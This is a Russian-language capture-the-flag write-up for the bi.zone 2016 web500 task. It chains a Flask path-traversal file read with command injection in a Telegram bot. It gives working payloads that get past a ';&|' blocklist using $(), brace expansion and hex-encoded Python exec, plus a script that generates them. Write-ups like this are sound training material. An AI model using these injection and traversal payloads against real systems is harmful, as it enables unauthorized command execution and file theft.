» » » Such Hack райтап - bi.zone ctf web500

Such Hack райтап - bi.zone ctf web500

Разберем с вами таск "Such Hack" с прошедшего bi.zone ctf, проходившего на базе конференции ZeroNights 2016!

Условие:

Such Hack райтап - bi.zone ctf web500

Внимание! У Вас нет прав для просмотра скрытого текста.


Ссылка: http://78.155.207.20/


Решение:

Первое что сделаем, так это перейдем по ссылке и наблюдаем следующую страницу:

Such Hack райтап - bi.zone ctf web500

Ссылки News и About оказываются нерабочими.


Пояснение: последующие действия я выполнял с помощью burpsuite.

Обычно в заголовках сервера указываются версии ПО. Проверим, присутствуют ли они тут:

Such Hack райтап - bi.zone ctf web500

Опа, присутствует:

Server: Flask 0.11.1



Далее немного помучив таск, можем припомнить, что у проектов на Flask есть распространенная уязвимость - Directory traversal + Local file inclusion.

Дело в том, что flask обычно возвращает содержимое файла, если мы впишем его путь например после перехода в директорию /js/ .
А если сервер настроен некорректно и мы передадим не название скрипта (пример test.js), а путь до файла c переходом на директории выше (пример /../../../../../etc/passwd), то соответственно будет считываться файл /etc/passwd, не находящийся в папке /js/.

Замечаем, что у нас есть папка /static/js/ :

Such Hack райтап - bi.zone ctf web500


Предположим, что у нас используется аналогичный алгоритм, протестируем его:

Such Hack райтап - bi.zone ctf web500

Работает! Это так же можно было найти, просто включив пассивное/активное сканирование в burpsuite:

Such Hack райтап - bi.zone ctf web500


А теперь давайте подробно изучим содержимое /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
web:x:1000:1000::/home/web:/bin/sh
telegram_bot:x:1001:1001::/home/telegram_bot:/bin/bash



Нас должны были заинтересовать последние две строки:

web:x:1000:1000::/home/web:/bin/sh
telegram_bot:x:1001:1001::/home/telegram_bot:/bin/bash


Первоначально я подумал, что на этой же машине просто запущен еще какой то телеграм таск, поэтому первоначально начал изучать папку /home/web.


И после некоторого перебора мы можем прочитать исходник flask сервера, находящегося по пути /home/web/web.py :

#!/usr/bin/python

from flask import Flask, send_file, render_template
app = Flask(__name__)

app.static_types = ['js', 'img', 'css']

@app.route("/")
def hello():
	return render_template('index.html')

@app.route("/admin/")
def admin():
	return render_template('admin.html')

@app.route("/news/<path:news_id>")
def news_html(news_id):
	return render_template('news.html')

@app.route("/static/<path:filetype>/<path:filename>")
def style_file(filetype, filename):
	if filetype in app.static_types:
		try:
			if filetype == 'css':
				return send_file('./static/css/' + filename, mimetype='text/css')
			elif filetype == 'js':
				return send_file('./static/js/' + filename, mimetype='text/javascript')
			else:
				return send_file('./static/img/' + filename, mimetype='image/jpeg')
		except Exception as e:
			print e
			return render_template('404.html'), 404
	else:
		return render_template('404.html'), 404

if __name__ == "__main__":
    app.run(host='172.17.0.2', port=1111)


Ну.. тут нет ничего того, что мы не знали. И тут мы в тупике...


Но! Вспоминаем, что у нас есть бот, находящийся по адресу /home/telegram_bot/.

После небольшого перебора получаем исходники бота, находящегося по адресу /home/telegram_bot/bot.py (уже несколько CTF подряд скрипт бота называется именно "bot.py")

# -*- coding: utf-8 -*-
#!/usr/bin/python2

import telebot
import subprocess

# SysAdminHelper_bot
token = raw_input()

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
	waf_rules = [';', '&', '|']
	for rule in waf_rules:
		if rule in message.text:
			output = 'stop hacking!'
			bot.send_message(message.chat.id, output)
			return
	args = message.text.split(' ')
	output = ''
	if ( args[0] == '/uptime' ):
		try:
			output = subprocess.check_output(["uptime"], shell=True)
		except:
			output = 'exception'
	elif ( args[0] == '/uname' ):
		try:
			output = subprocess.check_output(["uname -a"], shell=True)
		except:
			output = 'exception'
	elif ( args[0] == '/ps' ):
		try:
			output = subprocess.check_output(["ps aux | grep %s" % args[1]], shell=True)		
		except:
			output = 'exception'
	else:
		output = 'exception'
	bot.send_message(message.chat.id, output)

if __name__ == '__main__':
    bot.polling(none_stop=True)



Разберем код:

# -*- coding: utf-8 -*-
#!/usr/bin/python2

import telebot
import subprocess

# SysAdminHelper_bot
token = raw_input()

bot = telebot.TeleBot(token)


Это стандартные заголовки питоновского файла, ничего интересного


@bot.message_handler(commands=['uname', 'ps', 'uptime'])


Cписок команд, доступных боту.



Далее начинается огромная функция обработки сообщений:


waf_rules = [';', '&', '|']
	for rule in waf_rules:
		if rule in message.text:
			output = 'stop hacking!'
			bot.send_message(message.chat.id, output)
			return


Если в нашем сообщении содержатся символы ';' , '&' и '|', то сообщение не будет обработано и высветится ошибка.


args = message.text.split(' ')


Создается массив "слов" нашего сообщения (по разделителю - пробелу).


if ( args[0] == '/uptime' ):
		try:
			output = subprocess.check_output(["uptime"], shell=True)
		except:
			output = 'exception'


Если команда /uptime, то отсылается вывод одноименной OS команды.


elif ( args[0] == '/uname' ):
		try:
			output = subprocess.check_output(["uname -a"], shell=True)
		except:
			output = 'exception'


Если команда /uname, то отсылается вывод OS команды "uname -a".


elif ( args[0] == '/ps' ):
		try:
			output = subprocess.check_output(["ps aux | grep %s" % args[1]], shell=True)		
		except:
			output = 'exception'


Если отсылается команда /ps, то выполняется системный вызов "ps aux | grep %s", где %s - второе "слово" в нашем сообщении(массив args).


Фактически мы нашли единственную нашу "точку входа"!

Теперь подумаем, каким еще образом мы можем исполнять команды на сервере, если у нас запрещены символы "&", "|" и ";" ? Ну конечно же либо ``, либо $() ! Я использовал только второй вариант (тк забыл про первый - спасибо Asen:)


И теперь у нас появляются сразу три проблемы:

1. Мы не видим вывод команды.
2. В нашей команде не должны присутствовать пробелы.
3. А если вдруг нам понадобится ввести какие-либо из трех запрещенных символов?

Давайте решим их по-очереди.

Получение вывода программы

Первый очевидный способ - создание backconnect соединения.

Для тех, кто не в курсе: backconnect означает, что не мы подключаемся к серверу, а сервер к нам (например по socket протоколу), считывает команды которые мы ему отсылаем, исполняет ее, и возвращает нам вывод.

Но сколько я не мучился - соедиение не приходило:(


Вспоминаем, что мы можем читать любой файл на сервере, используя уязвимость на flask вебсайте!

Поэтому мы весь вывод будем перенаправлять в созданный нами файл dr.txt в папке /tmp/, которая доступна для чтения каждому.

Иначе говоря, команда "ls" примет вид "ls > /tmp/dr.txt" и ее вывод перенаправится в файл /tmp/dr.txt . Теперь можем переходить к следующей проблеме.


Способ обхода пробелов

Где же находится фильтр пробелов?
Все дело в том, что в OS команду передается ТОЛЬКО второй аргумент функции, так что если мы передаем "ls -la", то обработается и вставится в команду только "ls", а "-la" уже будет третьим аргументом.

Единственный способ, который я знаю на данный момент (напишите в комментарии свои варианты:) - использование конструкции {..,..}.

Пример: {ls,-la}

Таким образом мы уже можем обходить фильтр пробелов!


Способ обхода запрещенных символов

Теперь нам требуется каким то способом обойти фильтрацию трех символов.

А сделать мы можем это, если вызовем системную команду не напрямую, а через интерпретатор какого-либо языка (я взял python).

Последовательность наших действий:

1. Создаем питоновский скрипт, исполняющий произвольную системную команду, примерно со следующим содержанием:

import os; os.system("<cmd>")



2. Закодируем этот скрипт в HEX как обыкновенную строку:

>>> 'import os; os.system("ls")'.encode('hex')
<<< '696d706f7274206f733b206f732e73797374656d28226c732229' 


3. Теперь нам требуется чтобы интерпретатор питона на сервере декодировал эту строку и запустил ее:

>>> bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229")
<<< 'import os; os.system("ls")'

>>> exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))
<<< (исполнение команды ls)


4. Запишем однострочную команду, исполняющую наш питоновский код:

bash$ python -c '<наша программа>'


То есть по предыдущему пункту:

bash$ python -c 'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))'


И мы успешно обошли использование запрещенных символов!

Объединяем два последних способа


Теперь нам требуется совместить два последних способа обхода разных фильтров:

{python,-c, 'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c732229"))'


Таким образом может быть использована любая доступная нам команда на сервере! Но не забудьте, что к любой команде требуется дописывать " > /tmp/dr.txt", чтобы мы могли считывать вывод программы.

Так же стоит учитывать что будет записан вывод только последней команды (все после последнего разделяющего символа). То есть "pwd; ls >/tmp/dr.txt" запишет в файл только вывод dr.txt.


Для удобства генерации подобной строки я написал скрипт (опять же на питоне:):

while 1:
	s = raw_input() #вводим OS команду
	o = 'import os; os.system("'+s+' > /tmp/dr.txt");' #вывод последней команды перенаправляем в файл и генерируем строку-скрипт
	o = o.encode('hex') #кодируем скрипт HEX
	n = '/ps $({python,-c,\'exec(bytearray.fromhex("'+o+'").decode())\'})' # составляем готовый запрос для вставки в чат бота
	print(n) 


Пример использования:

Such Hack райтап - bi.zone ctf web500



Вернемся к нашему боту. У нас в теории уже есть эксплуатация произвольного кода. Но нам не хватает логина работающего бота!

Посмотрите на 7 строку кода бота - заметили комментарий # SysAdminHelper_bot ? Ну и как вы уже догадались - это и есть логин бота!

Находим его в телеграме:

Such Hack райтап - bi.zone ctf web500


Пробуем отослать OS команду pwd:
<<< pwd
>>> /ps $({python,-c,'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d2822707764203e202f746d702f64722e74787422293b").decode())'})

Such Hack райтап - bi.zone ctf web500


Считываем файл /tmp/dr.txt:

Such Hack райтап - bi.zone ctf web500

Ура! Команда исполнилась.


Теперь, чтобы не мучиться, исполним команду "ls -laR /", которая покажет нам все папки и файлы на сервере:

<<< ls -laR /
>>> /ps $({python,-c,'exec(bytearray.fromhex("696d706f7274206f733b206f732e73797374656d28226c73202d6c6152202f203e202f746d702f64722e74787422293b").decode())'})


Отсылаем

Such Hack райтап - bi.zone ctf web500


Смотрим на вывод:

Such Hack райтап - bi.zone ctf web500


Ну и делаем поиск по слову "flag":

Such Hack райтап - bi.zone ctf web500

Остается нам прочитать флаг, находящийся по пути /home/flag/SuperPrivateFlag31337:

Such Hack райтап - bi.zone ctf web500

Вот и наш "многострадальный" флаг:)

FLAG: ctfzone{W0W_SUCH_H@CK_W0W}


P.S. Знаю, что способ решения не очень эстетичный, но это все таки работающий способ:) Буду рад узнать ваши способы решения в комментариях!скачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 0
  • Просмотры: 3781

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!